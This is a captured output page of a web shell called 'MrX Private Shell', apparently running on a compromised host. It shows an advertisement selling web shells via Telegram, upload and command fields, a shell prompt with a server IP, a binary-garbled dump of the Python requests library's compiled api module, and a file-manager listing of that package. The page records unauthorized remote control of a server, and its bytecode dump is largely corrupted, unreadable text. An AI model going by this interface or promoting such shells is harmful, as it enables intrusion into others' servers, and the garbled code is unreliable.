__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
�

>r*j�����dZddlmZddlmZddlmZddlmZerddl	m
Z
ddlmZ								dd	�Z
	d							dd�Zdd�Zdd
�Z		d									dd�Z	d							dd�Z	d							dd�Zdd�Zy
)z�
requests.api
~~~~~~~~~~~~

This module implements the Requests API.

:copyright: (c) 2012 by Kenneth Reitz.
:license: Apache2, see LICENSE for more details.
�)�annotations)�
TYPE_CHECKING�)�sessions)�Response)�Unpack)�_typesc��tj�5}|jd||d�|��cddd�S#1swYyxYw)a�	Constructs and sends a :class:`Request <Request>`.

    :param method: method for the new :class:`Request` object: ``GET``, ``OPTIONS``, ``HEAD``, ``POST``, ``PUT``, ``PATCH``, or ``DELETE``.
    :param url: URL for the new :class:`Request` object.
    :param params: (optional) Dictionary, list of tuples or bytes to send
        in the query string for the :class:`Request`.
    :param data: (optional) Dictionary, list of tuples, bytes, or file-like
        object to send in the body of the :class:`Request`.
    :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`.
    :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`.
    :param cookies: (optional) Dict or CookieJar object to send with the :class:`Request`.
    :param files: (optional) Dictionary of ``'name': file-like-objects`` (or ``{'name': file-tuple}``) for multipart encoding upload.
        ``file-tuple`` can be a 2-tuple ``('filename', fileobj)``, 3-tuple ``('filename', fileobj, 'content_type')``
        or a 4-tuple ``('filename', fileobj, 'content_type', custom_headers)``, where ``'content_type'`` is a string
        defining the content type of the given file and ``custom_headers`` a dict-like object containing additional headers
        to add for the file.
    :param auth: (optional) Auth tuple to enable Basic/Digest/Custom HTTP Auth.
    :param timeout: (optional) How many seconds to wait for the server to send data
        before giving up, as a float, or a :ref:`(connect timeout, read
        timeout) <timeouts>` tuple.
    :type timeout: float or tuple
    :param allow_redirects: (optional) Boolean. Enable/disable GET/OPTIONS/POST/PUT/PATCH/DELETE/HEAD redirection. Defaults to ``True``.
    :type allow_redirects: bool
    :param proxies: (optional) Dictionary mapping protocol to the URL of the proxy.
    :param verify: (optional) Either a boolean, in which case it controls whether we verify
            the server's TLS certificate, or a string, in which case it must be a path
            to a CA bundle to use. Defaults to ``True``.
    :param stream: (optional) if ``False``, the response content will be immediately downloaded.
    :param cert: (optional) if String, path to ssl client cert file (.pem). If Tuple, ('cert', 'key') pair.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response

    Usage::

      >>> import requests
      >>> req = requests.request('GET', 'https://httpbin.org/get')
      >>> req
      <Response [200]>
    )�method�urlN�)r�Session�request)rr�kwargs�sessions    �;/opt/hc_python/lib/python3.12/site-packages/requests/api.pyrrs7��\
�	�	�	�w��w���@�f�#�@��@�
�	�	�s�4�=Nc� �td|fd|i|��S)adSends a GET request.

    :param url: URL for the new :class:`Request` object.
    :param params: (optional) Dictionary, list of tuples or bytes to send
        in the query string for the :class:`Request`.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    �get�params�r)rrrs   rrrJs���5�#�7�f�7��7�7�c��td|fi|��S)z�Sends an OPTIONS request.

    :param url: URL for the new :class:`Request` object.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    �optionsr�rrs  rrrZs���9�c�,�V�,�,rc�@�|jdd�td|fi|��S)akSends a HEAD request.

    :param url: URL for the new :class:`Request` object.
    :param \*\*kwargs: Optional arguments that ``request`` takes. If
        `allow_redirects` is not provided, it will be set to `False` (as
        opposed to the default :meth:`request` behavior).
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    �allow_redirectsF�head)�
setdefaultrrs  rrrfs'�����'��/��6�3�)�&�)�)rc�"�td|f||d�|��S)a�Sends a POST request.

    :param url: URL for the new :class:`Request` object.
    :param data: (optional) Dictionary, list of tuples, bytes, or file-like
        object to send in the body of the :class:`Request`.
    :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    �post)�data�jsonr)rr!r"rs    rr r us��"�6�3�?�T��?��?�?rc� �td|fd|i|��S)a�Sends a PUT request.

    :param url: URL for the new :class:`Request` object.
    :param data: (optional) Dictionary, list of tuples, bytes, or file-like
        object to send in the body of the :class:`Request`.
    :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    �putr!r�rr!rs   rr$r$�s���5�#�3�D�3�F�3�3rc� �td|fd|i|��S)a�Sends a PATCH request.

    :param url: URL for the new :class:`Request` object.
    :param data: (optional) Dictionary, list of tuples, bytes, or file-like
        object to send in the body of the :class:`Request`.
    :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    �patchr!rr%s   rr'r'�s���7�C�5�d�5�f�5�5rc��td|fi|��S)z�Sends a DELETE request.

    :param url: URL for the new :class:`Request` object.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    �deleterrs  rr)r)�s���8�S�+�F�+�+r)r�strr�
_t.UriTyper�Unpack[_t.RequestKwargs]�returnr)N)rr+rz
_t.ParamsTyperzUnpack[_t.GetKwargs]r-r)rr+rr,r-r)NN)
rr+r!�_t.DataTyper"z_t.JsonTyperzUnpack[_t.PostKwargs]r-r)rr+r!r.rzUnpack[_t.DataKwargs]r-r)�__doc__�
__future__r�typingr�r�modelsr�typing_extensionsrr	�_trrrrr r$r'r)r
rr�<module>r6s���#� ����(��/A��/A� �/A�,D�/A�
�/A�f.2�
8�	�
8�*�
8�=Q�
8�
�
8� 	-�*�"��@�	�@�
�@��@�$�	@�
�@�**.�4�	�4�&�4�9N�4�
�4�$*.�6�	�6�&�6�9N�6�
�6�"	,r

Filemanager

Name Type Size Permission Actions
__init__.cpython-312.pyc File 5.62 KB 0644
__version__.cpython-312.pyc File 554 B 0644
_internal_utils.cpython-312.pyc File 2.05 KB 0644
_types.cpython-312.pyc File 7.07 KB 0644
adapters.cpython-312.pyc File 28.9 KB 0644
api.cpython-312.pyc File 7.83 KB 0644
auth.cpython-312.pyc File 15.39 KB 0644
certs.cpython-312.pyc File 636 B 0644
compat.cpython-312.pyc File 2.41 KB 0644
cookies.cpython-312.pyc File 27.67 KB 0644
exceptions.cpython-312.pyc File 7.74 KB 0644
help.cpython-312.pyc File 4.19 KB 0644
hooks.cpython-312.pyc File 1.52 KB 0644
models.cpython-312.pyc File 40.9 KB 0644
packages.cpython-312.pyc File 1.06 KB 0644
sessions.cpython-312.pyc File 31.13 KB 0644
status_codes.cpython-312.pyc File 5.97 KB 0644
structures.cpython-312.pyc File 7.08 KB 0644
utils.cpython-312.pyc File 39.06 KB 0644